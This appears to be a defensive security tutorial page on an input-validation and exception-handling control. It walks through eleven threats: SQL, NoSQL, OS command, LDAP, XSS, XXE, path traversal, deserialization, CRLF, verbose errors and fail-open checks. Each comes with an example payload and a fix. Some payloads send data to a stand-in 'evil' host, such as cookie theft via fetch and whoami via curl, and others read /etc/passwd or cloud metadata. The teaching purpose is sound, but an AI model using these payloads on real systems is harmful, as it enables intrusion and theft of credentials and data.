Back

C3: Validate all Input & Handle Exceptions - Threats Addressed

What This Control Defends Against

⚠️ EDUCATIONAL PURPOSE ONLY — the attack examples below are shown so you understand exactly what C3 prevents, and can find and fix these issues in systems you own or are authorised to test.

C3 is a defensive control, so its "attack vectors" are really the threats it addresses. Almost all of them share one root cause: untrusted input reaches an interpreter that treats part of it as code—a SQL engine, an HTML renderer, a shell, an LDAP directory, an XML parser, or a deserializer. The final threat, poor exception handling, is what turns a contained error into an information leak or an access-control bypass.

For each threat below you will see the insecure pattern that lets it in, an example payload, and the C3 element that shuts it down. The implementation details live on the How to Implement and Code Examples pages.

The Threats, One by One

1. SQL Injection

Untrusted input is concatenated into a SQL statement, so the attacker's text changes the query's structure.

-- Application builds: "SELECT * FROM users WHERE name = '" + input + "'"
Input:  ' OR '1'='1
Query:  SELECT * FROM users WHERE name = '' OR '1'='1'   -- returns every row

Input:  '; DROP TABLE users; --
Query:  SELECT * FROM users WHERE name = ''; DROP TABLE users; --'

Payoff: authentication bypass, dumping or modifying the whole database, sometimes command execution on the DB host.
C3 fix: parameterised queries / prepared statements / a safe ORM — the data is sent to the database separately from the command and can never alter it.

2. NoSQL Injection

Document stores are just as injectable when a raw request is used to build a query object or filter.

// Express + MongoDB: req.body.username is an object, not a string
// { "username": { "$ne": null }, "password": { "$ne": null } }
db.users.find({ username: req.body.username, password: req.body.password });
// $ne null matches ANY user -> authentication bypass

// Operator injection in a JSON body:
{ "age": { "$gt": "" } }        // returns all documents

Payoff: authentication bypass, unauthorized data access, query-operator abuse.
C3 fix: enforce expected types (a username must be a string), validate against a schema, and use query builders that separate operators from data.

3. OS Command Injection

Input is passed to a shell, so shell metacharacters run extra commands.

# Application runs: os.system("ping -c 1 " + host)
Input:  127.0.0.1; cat /etc/passwd
Runs:   ping -c 1 127.0.0.1; cat /etc/passwd

Input:  127.0.0.1 && curl http://evil/$(whoami)
Runs:   ping -c 1 127.0.0.1 && curl http://evil/<attacker exfil>

Payoff: arbitrary command execution, full host compromise, data exfiltration.
C3 fix: avoid the shell entirely—call the program with an argument array (no shell interpretation)—and allow-list the acceptable input (e.g. a valid IP/hostname).

4. LDAP Injection

Input is placed into an LDAP search filter, so filter metacharacters change the query logic.

# Filter built as: "(&(uid=" + user + ")(password=" + pass + "))"
user:  *)(uid=*))(|(uid=*
Filter: (&(uid=*)(uid=*))(|(uid=*)(password=...))   -- matches everyone

user:  admin)(&))            -- always-true filter, auth bypass

Payoff: authentication bypass, enumeration of directory entries, disclosure of attributes.
C3 fix: escape LDAP special characters (* ( ) \ NUL) using the platform's LDAP encoder, and allow-list the input format.

5. Cross-Site Scripting (XSS)

Untrusted input is written into an HTML page without context-aware encoding, so the browser runs it as script.

<!-- Application prints: <div>Hello, USERNAME</div> -->
Input:  <script>fetch('https://evil/'+document.cookie)</script>
Result: the script runs in the victim's session -> cookie/session theft

<!-- Attribute context -->
Input:  " onmouseover="alert(document.domain)
Result: injected event handler executes

Payoff: session hijacking, actions performed as the victim, credential theft, defacement.
C3 fix: context-aware output encoding (HTML body, attribute, JS, URL, CSS), template auto-escaping, and a vetted sanitiser such as DOMPurify for HTML that must be allowed.

6. XML External Entity (XXE) Injection

An XML parser with external-entity resolution enabled processes attacker XML that references local files or internal URLs.

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>        <!-- parser inlines /etc/passwd into the response -->

<!-- SSRF variant -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

Payoff: local file disclosure, server-side request forgery into internal systems, sometimes denial of service ("billion laughs").
C3 fix: configure the parser to disable DTDs and external entities before parsing untrusted XML.

7. Path Traversal / Directory Traversal

Untrusted input is used to build a file path, so ../ sequences escape the intended directory.

# Application opens: "/var/app/files/" + filename
filename:  ../../../../etc/passwd        -> reads /etc/passwd
filename:  ..%2f..%2f..%2fetc%2fpasswd   -> URL-encoded bypass
filename:  ....//....//etc/passwd        -> filter-evasion variant

Payoff: reading arbitrary files (source, secrets, credentials), and in write contexts, overwriting files.
C3 fix: canonicalise the path first, then confirm it stays within the intended base directory; allow-list filenames; never use raw user input as a path.

8. Insecure Deserialization

Attacker-controlled bytes are handed to a native, type-permissive deserializer, which instantiates objects (and side effects) the attacker chose.

# Python: pickle will construct whatever the stream says
data = pickle.loads(request.body)     # attacker crafts a stream whose
                                      # __reduce__ runs os.system(...) -> RCE

// Java: readObject on untrusted bytes + a gadget chain on the classpath -> RCE
ObjectInputStream in = new ObjectInputStream(request.getInputStream());
Object o = in.readObject();

Payoff: remote code execution, object injection, denial of service.
C3 fix: do not natively deserialize untrusted data. Use data-only formats (JSON) with a strict schema and explicit field mapping; if a binary format is unavoidable, use one without code-execution semantics and enforce type allow-lists.

9. Header, Log, and Protocol Injection (CRLF)

Input containing newline characters is written into a response header or a log line, splitting it into attacker-controlled content.

Input:  value%0d%0aSet-Cookie:%20sessionid=attacker
Header: X-Thing: value
        Set-Cookie: sessionid=attacker      <- injected header

# Log forging: a newline lets the attacker fake log entries
Input:  admin\n2026-01-01 12:00:00 INFO  user 'admin' logged in

Payoff: response splitting, cookie injection, cache poisoning, forged/obfuscated logs.
C3 fix: reject or strip CR/LF (and other control characters) from anything placed into headers or logs; encode before writing.

Poor Exception Handling as Its Own Threat

Even with perfect input handling, the way a system reacts to errors is itself an attack surface. Two distinct risks:

10. Information Disclosure via Verbose Errors

An unhandled exception returns internal detail straight to the attacker.

GET /api/orders?id=' HTTP/1.1

HTTP/1.1 500 Internal Server Error
{
  "exception": "psycopg2.ProgrammingError: syntax error at or near \"'\"",
  "query": "SELECT * FROM orders WHERE id=''",
  "file": "/srv/app/orders.py, line 88",
  "dsn": "postgres://app:S3cr3t@db.internal:5432/prod"
}

Payoff: exact framework/DB versions, file paths, schema, internal hostnames, sometimes live credentials—a complete map for the next step, and confirmation that an injection point exists.
C3 fix: return a generic message plus a correlation id; log the detail server-side only.

11. Fail-Open on Error (Security Bypass)

When a security check throws, code that defaults to "allow" hands the attacker exactly what they want.

try:
    if not token_is_valid(token):     # if this throws for a malformed token...
        return deny()
except Exception:
    pass                              # ...execution falls through to "allowed"
grant_access()                        # attacker only needs to make the check crash

Payoff: authentication/authorization bypass triggered simply by forcing an exception (oversized input, malformed token, dependency timeout).
C3 fix: fail closed—any exception during a security decision must result in denial.

How Each Threat Is Neutralised

#ThreatRoot causeC3 control that stops it
1SQL injectionInput concatenated into SQLParameterised queries / safe ORM
2NoSQL injectionUntyped input in a query objectType + schema validation, query builders
3OS command injectionInput passed to a shellArgument arrays, no shell, allow-list
4LDAP injectionInput in a search filterLDAP-encode metacharacters, allow-list
5XSSInput rendered as HTML/JSContext-aware output encoding, sanitiser
6XXEExternal entities enabledDisable DTDs/external entities
7Path traversalInput used as a file pathCanonicalise then confine to base dir
8Insecure deserializationNative deserialize of untrusted bytesData-only formats + strict schema
9CRLF / header / log injectionNewlines in headers/logsStrip/reject control chars, encode
10Verbose error disclosureRaw exceptions to clientGeneric errors + server-side logging
11Fail-open bypassErrors treated as "allow"Fail closed on every security check

Remember the central rule: for injection and XSS, input validation reduces the surface but does not close it. The threat is actually neutralised at the sink—by parameterisation and context-aware encoding. Do both.

Key Takeaways

  1. One root cause, many names — injection, XSS, XXE, traversal, and deserialization are all untrusted input reaching an interpreter.
  2. The real fix lives at the sink — parameterise queries and encode output for the exact context; validation alone is not enough.
  3. Types and allow-lists stop whole families — enforcing "a username is a short string" defeats NoSQL operator injection outright.
  4. Errors are an attack surface too — verbose exceptions leak the map; fail-open exceptions hand over the keys.
  5. Fail closed, log privately — deny on error and keep the detail out of the client's hands.

Next Steps